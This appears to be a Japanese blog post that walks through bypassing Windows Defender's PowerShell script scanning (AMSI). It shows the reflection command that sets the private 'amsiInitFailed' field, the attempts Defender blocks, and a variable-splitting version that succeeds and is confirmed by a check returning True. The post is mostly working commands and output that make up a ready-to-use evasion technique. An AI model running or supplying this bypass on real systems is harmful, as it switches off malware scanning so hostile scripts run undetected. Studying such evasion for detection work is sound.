PowershellでWindowsDefenderのスクリプトスキャン回避

Windows Defenderのスプリプとスキャン機能を回避できるか試してみます。

まずは、Windows Defenderの、スクリプトスキャン機能がONになっているか確認。

PS C:\Users\hoge> Get-MpPreference | Select-Object -Property DisableScriptScanning

DisableScriptScanning
---------------------
                False

DisableScriptScanningがFalseなので、機能はONになっている。

次に以下のスクリプトを実行して、ちゃんとブロックされるかの確認をしてみる。

PS C:\Users\hoge>  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').setValue($null, $true)
発生場所 行:1 文字:1
+  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').Get ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
このスクリプトには、悪質なコンテンツが含まれているため、ウイルス対策ソフトウェアによりブロックされています。
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

ちゃんとブロックされています。ちなみに、上記スクリプトは、以下の部分だけ実行してみると、

PS C:\Users\yuhei>  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
False    False    AmsiUtils                                System.Object

となります。これは、.NETリフレクションを使用して、PowerShellの内部クラスのSystem.Mangement.Automation.AmsiUtils を取得しています。これは、Powershellスクリプト実行時に、AMSI(Antimalware Scan Interface)を通じてスクリプトの内容をスキャンするためのロジックを提供するものです。

しかし、IsPublic のものしか取得できていません。なので、次の様に実行します。

PS C:\Users\hoge>  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static')


Name                   : amsiInitFailed
MetadataToken          : 67114388
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static, InitOnly
FieldType              : System.Boolean
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : True
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}

そうすると、NonPublicでStaticなのも表示されます。そしてさらに次のスクリプトを追加することにより、amsiInitFailedtrue を設定し、amsiInitの起動が失敗したと、Powershellに認識させます。

PS C:\Users\hoge>  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').setValue($null, $true)
発生場所 行:1 文字:1
+  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').Get ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
このスクリプトには、悪質なコンテンツが含まれているため、ウイルス対策ソフトウェアによりブロックされています。
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

しかし、このPowershellのコンテキストは既に、Windows Defenderのスクリプトスキャンによりブロックされます。これが正常です。

では、ここからはどうやったら上記のスクリプトが実行できるか(スキャンをバイパスできるか)を試してみます。

単純な文字連結。失敗。

PS C:\Users\hoge> [Ref].Assembly.GetType('System.Managemen' + 't.Automation.AmsiUtils').GetField('amsiIni' + 'tFailed', 'NonPublic,Static').setValue($null, $true)
発生場所 行:1 文字:1

[Ref].Assembly.GetType('System.Managemen' + 't.Automation.AmsiUtils' …

~~~~~~~~~~~~~~~~~ このスクリプトには、悪質なコンテンツが含まれているため、ウイルス対策ソフトウェアによりブロックされています。

CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException

FullyQualifiedErrorId : ScriptContainedMaliciousContent

変数化。あっさり成功。

PS C:\Users\hoge> $a = 'System.Managemen' + 't.Automation.AmsiUtils'
PS C:\Users\hoge> $b = 'amsiIni' + 'tFailed'
PS C:\Users\hoge> $c = [Ref].Assembly.GetType($a).GetField($b, 'NonPublic,Static')
PS C:\Users\hoge> $c.SetValue($null, $true)
PS C:\Users\hoge> Get-MpPreference | Select-Object -Property DisableScriptScanning

# 成功したか確認(Trueが返れば成功)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').GetValue($null)
True

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です